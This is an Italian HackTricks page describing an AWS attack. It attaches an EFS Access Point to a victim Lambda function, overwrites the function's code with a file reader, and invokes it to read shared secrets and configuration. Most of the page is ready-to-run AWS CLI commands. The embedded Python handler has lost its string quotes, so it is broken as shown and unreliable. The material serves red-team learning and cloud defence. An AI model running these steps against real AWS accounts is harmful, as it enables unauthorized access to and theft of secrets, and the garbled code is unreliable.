AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Esfiltrazione dati)

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Abusa di lambda:UpdateFunctionConfiguration per collegare un EFS Access Point esistente a una Lambda, quindi distribuire codice minimale che elenchi/legga i file dal percorso montato per esfiltrare segreti/config condivisi a cui la funzione in precedenza non poteva accedere.

Requisiti

  • Permessi sull'account/principal vittima:
  • lambda:GetFunctionConfiguration
  • lambda:ListFunctions (per trovare le funzioni)
  • lambda:UpdateFunctionConfiguration
  • lambda:UpdateFunctionCode
  • lambda:InvokeFunction
  • efs:DescribeMountTargets (per confermare che esistano mount targets)
  • Assunzioni sull'ambiente:
  • La Lambda target ha VPC abilitato e le sue subnet/SG possono raggiungere lo SG dell'EFS mount target su TCP/2049 (es. il ruolo ha AWSLambdaVPCAccessExecutionRole e il routing VPC lo permette).
  • L'EFS Access Point si trova nella stessa VPC e ha mount targets nelle AZ delle subnet della Lambda.

Attacco

  • Variabili
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
  1. Collegare l'EFS Access Point alla Lambda
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
  1. Sovrascrivere il codice con un semplice lettore che elenca i file e mostra i primi 200 byte di un file candidato secret/config
cat > reader.py <<PY
import os, json
BASE=/mnt/ht

def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
  1. Invoca e ottieni i dati
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json

L'output dovrebbe contenere l'elenco della directory sotto /mnt/ht e una piccola anteprima di un file secret/config scelto da EFS.

Impact

Un attaccante con i permessi elencati può montare Access Points EFS arbitrari in-VPC nelle funzioni Lambda vittima per leggere e to exfiltrate configurazioni condivise e segreti memorizzati su EFS che erano precedentemente inaccessibili a quella funzione.

Cleanup

aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks